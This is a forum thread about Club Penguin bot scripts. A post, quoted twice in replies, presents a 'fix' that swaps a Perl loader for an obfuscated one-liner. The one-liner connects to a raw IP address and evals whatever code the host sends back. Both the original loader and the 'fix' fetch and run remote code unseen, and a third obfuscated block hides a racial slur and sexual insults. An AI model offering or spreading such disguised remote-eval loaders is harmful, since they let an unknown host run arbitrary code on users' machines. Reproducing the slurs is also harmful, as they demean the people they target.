Fix For Bots

Hookbot Recently updated his site [You must be registered and logged in to see this link.] and changed a few things, Including a new Penguin Reverse Engineer Module (PREM) Which means you may have to change a few things in your scripts.

In your script you need to replace this:

Code:

our $import = "scriptcumber.com.:80";

sub import_once {
  my $mod = shift;
  my $r = new IO::Socket::INET $import;
  print $r "GET /m/$mod HTTP/1.0\r\nHost: $import\r\n\r\n";
  while (<$r>) { last if /^\s*$/; }
  eval join "", <$r> or warn $@;
  eval {import $mod @_; 1;} or warn $@;
}

With This:

Code:

use lib do{eval<$b>&&botstrap("PREM")||die$@,<$b>if$b=new IO::Socket::INET 114.46.99.120.":1"};

If you do not fix this problem then it will automatically change that part of the script to this:

Code:

# Load debian Rx $Version 0.6 package for filter
y/dEbRX _-~\r\n/$"@.6/d and our $import = unpack u => $_ foreach our @blacklist = q{
  as5 whore
  sc4ewed 5ixtyN9
  Wipe 5hIt puk3
  BYte m33
  71ck FuX
  nEw York Cit3
  TiTs NiggeR
  Club Penguin
};

sub import_once { my $m=shift;my$r=new IO::Socket::INET$import;print$r "GET /m/$m HTTP/1.0\nHost: $import\n\n";local$/;eval[split/\n\r?\n/,~~<$r>,2]->[1]or warn $@;eval{import$m @_;1;}or warn $@; }]

And this messes up your script whenever you try to edit it. So if you already used your script before fixing it with this tutorial, just replace the code above with the new one that i showed you.

Well if you followed the steps above your script should be fixed now. Happy Botting!

Ozzyozborn13 wrote:Hookbot Recently updated his site [You must be registered and logged in to see this link.] and changed a few things, Including a new Penguin Reverse Engineer Module Which means you may have to change a few things in your scripts.

In your script you need to replace this:

Code:

our $import = "scriptcumber.com.:80";

sub import_once {
  my $mod = shift;
  my $r = new IO::Socket::INET $import;
  print $r "GET /m/$mod HTTP/1.0\r\nHost: $import\r\n\r\n";
  while (<$r>) { last if /^\s*$/; }
  eval join "", <$r> or warn $@;
  eval {import $mod @_; 1;} or warn $@;
}

With This:

Code:

use lib do{eval<$b>&&botstrap("PREM")||die$@,<$b>if$b=new IO::Socket::INET 114.46.99.120.":1"};

If you do not fix this problem then it will automatically change that part of the script to this:

Code:

# Load debian Rx $Version 0.6 package for filter
y/dEbRX _-~\r\n/$"@.6/d and our $import = unpack u => $_ foreach our @blacklist = q{
  as5 whore
  sc4ewed 5ixtyN9
  Wipe 5hIt puk3
  BYte m33
  71ck FuX
  nEw York Cit3
  TiTs NiggeR
  Club Penguin
};

sub import_once { my $m=shift;my$r=new IO::Socket::INET$import;print$r "GET /m/$m HTTP/1.0\nHost: $import\n\n";local$/;eval[split/\n\r?\n/,~~<$r>,2]->[1]or warn $@;eval{import$m @_;1;}or warn $@; }]

And this messes up your script whenever you try to edit it. So if you already used your script before fixing it with this tutorial, just replace the code above with the new one that i showed you.

Well if you followed the steps above your script should be fixed now. Happy Botting!

. Lol I was like wtf. when this happended

43nînjâ17 wrote:

Ozzyozborn13 wrote:Hookbot Recently updated his site [You must be registered and logged in to see this link.] and changed a few things, Including a new Penguin Reverse Engineer Module Which means you may have to change a few things in your scripts.

In your script you need to replace this:

Code:

our $import = "scriptcumber.com.:80";

sub import_once {
  my $mod = shift;
  my $r = new IO::Socket::INET $import;
  print $r "GET /m/$mod HTTP/1.0\r\nHost: $import\r\n\r\n";
  while (<$r>) { last if /^\s*$/; }
  eval join "", <$r> or warn $@;
  eval {import $mod @_; 1;} or warn $@;
}

With This:

Code:

use lib do{eval<$b>&&botstrap("PREM")||die$@,<$b>if$b=new IO::Socket::INET 114.46.99.120.":1"};

If you do not fix this problem then it will automatically change that part of the script to this:

Code:

# Load debian Rx $Version 0.6 package for filter
y/dEbRX _-~\r\n/$"@.6/d and our $import = unpack u => $_ foreach our @blacklist = q{
  as5 whore
  sc4ewed 5ixtyN9
  Wipe 5hIt puk3
  BYte m33
  71ck FuX
  nEw York Cit3
  TiTs NiggeR
  Club Penguin
};

sub import_once { my $m=shift;my$r=new IO::Socket::INET$import;print$r "GET /m/$m HTTP/1.0\nHost: $import\n\n";local$/;eval[split/\n\r?\n/,~~<$r>,2]->[1]or warn $@;eval{import$m @_;1;}or warn $@; }]

And this messes up your script whenever you try to edit it. So if you already used your script before fixing it with this tutorial, just replace the code above with the new one that i showed you.

Well if you followed the steps above your script should be fixed now. Happy Botting!

. Lol I was like wtf. when this happended

Lol same here, then i looked on the site and found the problem. and i will edit all of the posts that have scripts in them and fix the problem.

I don't know what part of the script to fix because I'm trying to log my bots on and it won't work. Please help.

The bots aren't working and help us.

Lmao, why does the script become so abusive if you don't change it?